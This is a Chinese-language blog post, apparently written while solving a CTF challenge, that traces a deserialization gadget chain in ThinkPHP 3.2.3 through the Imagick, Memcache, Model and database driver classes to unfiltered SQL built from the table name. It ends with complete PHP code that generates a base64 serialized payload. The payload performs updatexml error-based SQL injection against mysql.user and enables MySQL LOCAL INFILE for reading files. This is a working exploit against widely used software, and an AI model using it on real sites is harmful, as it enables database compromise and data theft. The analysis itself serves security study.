[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析

文章目录

  • Thinkphp3.2.3反序列化利用链分析
    • 分析
    • 利用链

菜鸡在做CTF的时候想深入分析一下,也就产生了这篇文章

Thinkphp3.2.3反序列化利用链分析

分析

首先我们从__destruct方法入手

其他的都是啥如ftp_close之类的没法有效利用,但是在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php找到

public function __destruct() {
     
        empty($this->img) || $this->img->destroy();
    }

并且参数可控,搜索destroy方法,也是基本上没啥其他点直接只有一个在ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

中,找到了

public function destroy($sessID) {
     
		return $this->handle->delete($this->sessionName.$sessID);
	}

这里其实版本利用有限制,在在PHP7下起的ThinkPHP框架在调用有参函数时不传参数会触发框架里的错误处理,从而报错,网上看到的当时排bug排了很久都没发现,最后切换php5,$this->handle也可控

继续全局搜索后发现在ThinkPHP/Mode/Lite/Model.class.php

public function delete($options=array()) {
     
        $pk   =  $this->getPk();
        if(empty($options) && empty($this->options['where'])) {
     
            // 如果删除条件为空 则删除当前数据对象所对应的记录
            if(!empty($this->data) && isset($this->data[$pk]))
                return $this->delete($this->data[$pk]);
            else
                return false;
        }
        if(is_numeric($options)  || is_string($options)) {
     
            // 根据主键删除记录
            if(strpos($options,',')) {
     
                $where[$pk]     =  array('IN', $options);
            }else{
     
                $where[$pk]     =  $options;
            }
            $options            =  array();
            $options['where']   =  $where;
        }
        // 根据复合主键删除记录
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {
     
            $count = 0;
            foreach (array_keys($options) as $key) {
     
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
     
                $i = 0;
                foreach ($pk as $field) {
     
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
     
                return false;
            }
        }
        // 分析表达式
        $options =  $this->_parseOptions($options);
        if(empty($options['where'])){
     
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }        
        if(is_array($options['where']) && isset($options['where'][$pk])){
     
            $pkValue            =  $options['where'][$pk];
        }

        if(false === $this->_before_delete($options)) {
     
            return false;
        }        
        $result  =    $this->db->delete($options);
        if(false !== $result && is_numeric($result)) {
     
            $data = array();
            if(isset($pkValue)) $data[$pk]   =  $pkValue;
            $this->_after_delete($data,$options);
        }
        // 返回删除记录个数
        return $result;
    }

代码看多了一看就懂了,首先getPk获取主键,之后我们的利用是想进入if中执行delete方法,

if(empty($options) && empty($this->options['where'])) {
     
            // 如果删除条件为空 则删除当前数据对象所对应的记录
            if(!empty($this->data) && isset($this->data[$pk]))
                return $this->delete($this->data[$pk]);
            else
                return false;
        }

根据调试,这里会去调用到数据库驱动类中的delete()中去,而不是当前文件当中的delete()方法,即ThinkPHP/Library/Think/Db/Driver.class.php

public function delete($options=array()) {
     
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql    =   'DELETE FROM '.$table;
        if(strpos($table,',')){
     // 多表删除支持USING和JOIN操作
            if(!empty($options['using'])){
     
                $sql .= ' USING '.$this->parseTable($options['using']).' ';
            }
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
     
            // 单表删除支持order和limit
            $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

我们可以发现在这里的table没有过滤直接拼接了,不信的话我们可以分析分析,首先调用parseTable

    protected function parseTable($tables) {
     
        if(is_array($tables)) {
     // 支持别名定义
            $array   =  array();
            foreach ($tables as $table=>$alias){
     
                if(!is_numeric($table))
                    $array[] =  $this->parseKey($table).' '.$this->parseKey($alias);
                else
                    $array[] =  $this->parseKey($alias);
            }
            $tables  =  $array;
        }elseif(is_string($tables)){
     
            $tables  =  explode(',',$tables);
            array_walk($tables, array(&$this, 'parseKey'));
        }
        return implode(',',$tables);
    }

他会对其中的数据执行parseKey方法,这个方法直接返回数据无其他处理

protected function parseKey(&$key) {
     
        return $key;
}

因此便得到了完整的pop链思路,接下来就是构造

首先是__destruct,我们需要调用Memcachedestroy方法

class Imagick{
     
        private $img;

        public function __construct(){
     
            $this->img = new Memcache();
        }
    }

接下来$this->handle指向Model类去调用delete方法,并精心构造我们的sql语句

class Model{
     
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
     
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "username where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            );
        }
    }

注意我们需要去初始化数据库的连接,这里我们使用默认的在Think\Db\Driver\Mysq下的Mysql,发现继承了Driver类,

跟进一看,能得到这里建立了PDO配置建立数据库连接

因此我们只需要在Mysql下配置好数据库配置即可

class Mysql{
     
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "test",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "testtest",
            "password" => "testtest"
        );
    }

最终我们得到了完整的利用链

利用链


namespace Think\Db\Driver{
     
    use PDO;
    class Mysql{
     
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "thinkphp3",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => ""
        );
    }
}

namespace Think\Image\Driver{
     
    use Think\Session\Driver\Memcache;
    class Imagick{
     
        private $img;

        public function __construct(){
     
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
     
    use Think\Model;
    class Memcache{
     
        protected $handle;

        public function __construct(){
     
            $this->handle = new Model();
        }
    }
}

namespace Think{
     
    use Think\Db\Driver\Mysql;
    class Model{
     
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
     
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
     
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

你可能感兴趣的:(安全学习,框架漏洞学习,#,ThinkPHP)